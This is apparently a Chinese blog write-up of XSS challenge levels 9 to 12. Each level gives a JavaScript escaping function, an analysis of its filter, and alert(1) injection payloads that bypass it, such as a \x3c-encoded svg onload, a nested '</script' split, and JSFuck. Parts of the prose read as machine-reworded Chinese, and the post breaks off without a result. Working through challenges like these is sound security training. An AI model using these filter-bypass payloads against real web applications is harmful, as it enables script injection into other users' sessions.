但是我并没有在自己的html页面上重显弹窗

时间:2022-02-08 09:25:26

人在江湖,不平就干!

第9题:

1 function escape(s) { 2 function htmlEscape(s) { 3 return s.replace(/./g, function(x) { 4 return { ‘<‘: ‘&lt;‘, ‘>‘: ‘&gt;‘, ‘&‘: ‘&amp;‘, ‘"‘: ‘&quot;‘, "‘": ‘&#39;‘ }[x] || x; 5 }); 6 } 7 8 function expandTemplate(template, args) { 9 return template.replace( 10 /{(\w+)}/g, 11 function(_, n) { 12 return htmlEscape(args[n]); 13 }); 14 } 15 16 return expandTemplate( 17 " \n18 <h2>Hello, <span id=name></span>!</h2> \n19 <script> \n20 var v = document.getElementById(‘name‘); \n21 v.innerHTML = ‘<a href=#>{name}</a>‘; \n22 <\/script> \n23 ", 24 { name : s } 25 ); 26 }

分析:

对输入中的 < > & " ‘ 等切合进行了html编码转换,所以无法使用这些字符

TRY:

老黑也是通过看答案才知道的答案,,输入 \x3csvg  onload=alert(1) 会提示告成,但是我并没有在本身的html页面上重显弹窗,这个payload是用\x3c取代<标记,绕过htmlEscape的替换感化。

第10题:

标题问题:

1 function escape(s) { 2 s = JSON.stringify(s).replace(/<\/script/gi, ‘‘); 3 4 return ‘<script>console.log(‘ + s + ‘);</script>‘; 5 }

分析:

过滤失<script 字符串,结构过滤后从头合成<script字符串

TRY:

第一次:</</scriptscript><script>alert(1);//

</script被过滤后,自然形成</script><script>alert(1);//,使用//注释失后边的"),可以实现注入

第11题:

标题问题:

1 function escape(s) { 2 // Pass inn "callback#userdata" 3 var thing = s.split(/#/); 4 5 if (!/^[a-zA-Z\[\]‘]*$/.test(thing[0])) return ‘Invalid callback‘; 6 var obj = {‘userdata‘: thing[1] }; 7 var json = JSON.stringify(obj).replace(/\//g, ‘\\/‘); 8 return "<script>" + thing[0] + "(" + json +")</script>"; 9 }

分析:

这题简单,用两个单引号令双引号掉效,然后写入alert(1),在用<!--注释失后边的内容,就OK了。

TRY:

payload: ‘#‘;alert(1)<!--

第12题:

标题问题:

1 function escape(s) { 2 if (/[<>]/.test(s)) return ‘-‘; 3 4 return ‘<script>console.log("‘ + s.toUpperCase() + ‘")</script>‘; 5 }

分析:

不能输入<>,而且将所有内容都大写化,这题欠好注入,所以使用了特殊的js表达方法,JSFuck,制作的网页版工具:点击这里

TRY:

第一次:);alert(1);\\

第二次:转换成JSFuck格局,

但是我并没有在自己的html页面上重显弹窗

得到功效: